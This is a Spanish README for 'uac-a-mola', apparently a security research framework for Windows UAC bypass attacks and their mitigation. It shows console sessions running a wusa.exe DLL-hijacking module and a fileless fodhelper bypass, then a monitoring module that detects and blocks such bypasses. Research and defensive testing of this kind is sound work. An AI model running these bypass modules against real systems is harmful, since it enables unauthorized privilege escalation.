
Framework modular para ataques de evasión de UAC en Windows y su mitigación, que incluye secuestro de DLL, ejecución sin archivos y monitoreo en tiempo real para detectar y bloquear intentos de escalada de privilegios.
Para instalar uac-a-mola debes realizar las siguientes acciones:
pip install -r requirements.txt
¡Uac-a-mola está listo para funcionar! Puedes probar su funcionalidad escribiendo:
cd uacamola
python uacamola.py
Esta es una breve sección que explica el uso de algunos de los módulos de uac-a-mola:
Usar los módulos de ataque es algo muy simple que apenas requiere explicación. Lo único que tienes que hacer es cargar el módulo correspondiente en el framework usando el comando load, puedes ver las opciones o parámetros de entrada usando el comando show, con el comando run se ejecuta el módulo:
uac-a-mola> load .\modules\attack\dll_hijacking_wusa.py
[+] Loading module...
[+] Module loaded!
uac-a-mola[dll_hijacking_wusa.py]> show
Author
------
|_Pablo Gonzalez (pablo@11paths or @pablogonzalezpe)
Name
----
|_Copy DLL with wusa.exe
Description
-----------
|_It's used for copy a DLL in privilege path (wusa method win7/8/8.1)
Options (Field = Value)
-----------------------
|_name_dll = comctl32.dll (name of DLL)
|
|_binary = compmgmtlauncher.exe (Path to the vulnerable binary)
|
|_malicious_dll = C:\Users\ieuser\Desktop\uac-a-mola\uacamola\payloads\comctl32\comctl32.dll (Path to a malicious dll)
|
|_name_folder = x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2 (Name folder)
|
|_destination_path = C:\Windows\System32 (Destination path)
uac-a-mola[dll_hijacking_wusa.py]> run
[+] Running module...
creating path...
SUCCESS: done
copying dll in path...
SUCCESS: done
creating DDF file...
SUCCESS: done
creating CAB file...
SUCCESS: done
launch wusa.exe /extract
SUCCESS: done! got root? :D
removing path...
SUCCESS: done
uac-a-mola[dll_hijacking_wusa.py]>
Y otro ejemplo:
uac-a-mola> load modules\attack\fileless_fodhelper.py
[+] Loading module...
[+] Module loaded!
uac-a-mola[fileless_fodhelper.py]> show
Author
------
|_Santiago Hernandez Ramos
Name
----
|_Fileless Fodhelper
Description
-----------
|_Fileless - Fodhelper bypass UAC
Options (Field = Value)
-----------------------
|_instruction = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -C echo mola > c:\pwned.txt (Elevated Code)
uac-a-mola[fileless_fodhelper.py]> set instruction powershell.exe
uac-a-mola[fileless_fodhelper.py]> run
[+] Running module...
Usar los métodos de mitigación también es bastante simple, pero tienen una estructura interna ligeramente más compleja que se explicará en esta sección. En cuanto a su uso, lo primero que hay que hacer es cargar el módulo de mitigación disponible:
uac-a-mola> load modules\mitigation\bypass_mitigation.py
[+] Loading module...
[+] Module loaded!
uac-a-mola[bypass_mitigation.py]> show
Author
------
|_Santiago Hernandez Ramos
Name
----
|_This module will instrument the binaries selected and detect possible UAC bypasses
Description
-----------
|_Bypass Mitigation
Options (Field = Value)
-----------------------
|_[REQUIRED] password = None (Password for connection)
|
|_[REQUIRED] binlist_file = None (File with a list of binaries to hook, one on each line)
|
|_port = 5555 (Port for connection)
En este caso, necesitaremos establecer una contraseña que los agentes usarán para comunicarse con el listener que se ejecutará en el framework de uacamola. Podemos encontrar los agentes en la ruta uacamola/support/agents, abriendo esos archivos podemos ver la contraseña:
fodhelper_ag = Agent('fodhelper.exe', 'localhost', 5555, 'uacamola')
fodhelper_ag.send_forbidden("Software\\Classes\\ms-settings\\Shell\\Open\\command")
uacamola será la contraseña utilizada para la autenticación y comunicación, pero podemos cambiarla. El otro parámetro requerido es una ruta a un archivo que contenga una lista de binarios a monitorear; estos binarios deben tener un archivo agent.pyw en las rutas de agentes.
uac-a-mola[bypass_mitigation.py]> show
Author
------
|_Santiago Hernandez Ramos
Name
----
|_This module will instrument the binaries selected and detect possible UAC bypasses
Description
-----------
|_Bypass Mitigation
Options (Field = Value)
-----------------------
|_password = uacamola (Password for connection)
|
|_binlist_file = bins.txt (File with a list of binaries to hook, one on each line)
|
|_port = 5555 (Port for connection)
uac-a-mola[bypass_mitigation.py]> run
[+] Running module...
[+] Executing the listener...
--- Press ENTER for quit mitigate mode ---
Simplemente rellenando estos campos y ejecutando el comando run, uacamola comenzará a monitorear toda la actividad relacionada con el bypass de UAC en los binarios que aparecen en la lista. Si se detecta actividad peligrosa, automáticamente podará la rama peligrosa (del sistema de archivos o del registro) y ejecutará el binario de forma segura. Para salir de este modo solo necesitamos presionar la tecla ENTER.
Por favor, reporta cualquier error a [email protected] o abre un issue en GitHub. ¡Tu colaboración es apreciada!
EL SOFTWARE SE PROPORCIONA "TAL CUAL", SIN GARANTÍA DE NINGÚN TIPO, EXPRESA O IMPLÍCITA, INCLUYENDO PERO NO LIMITADO A LAS GARANTÍAS DE COMERCIABILIDAD, IDONEIDAD PARA UN PROPÓSITO PARTICULAR Y NO INFRACCIÓN. EN NINGÚN CASO LOS AUTORES O TITULARES DEL COPYRIGHT SERÁN RESPONSABLES DE NINGUNA RECLAMACIÓN, DAÑOS U OTRA RESPONSABILIDAD, YA SEA EN UNA ACCIÓN CONTRACTUAL, EXTRACONTRACTUAL O DE OTRA MANERA, QUE SURJA DE, FUERA O EN CONEXIÓN CON EL SOFTWARE O EL USO U OTRO TIPO DE ACCIONES EN EL SOFTWARE. SIEMPRE QUE HAGAS UNA CONTRIBUCIÓN A UN REPOSITORIO QUE CONTENGA UN AVISO DE LICENCIA, LICENCIAS TU CONTRIBUCIÓN BAJO LOS MISMOS TÉRMINOS, Y ACEPTAS QUE TIENES EL DERECHO DE LICENCIAR TU CONTRIBUCIÓN BAJO ESOS TÉRMINOS. SI TIENES UN ACUERDO SEPARADO PARA LICENCIAR TUS CONTRIBUCIONES BAJO TÉRMINOS DIFERENTES, COMO UN ACUERDO DE LICENCIA DE CONTRIBUIDOR, ESE ACUERDO PREVALECERÁ.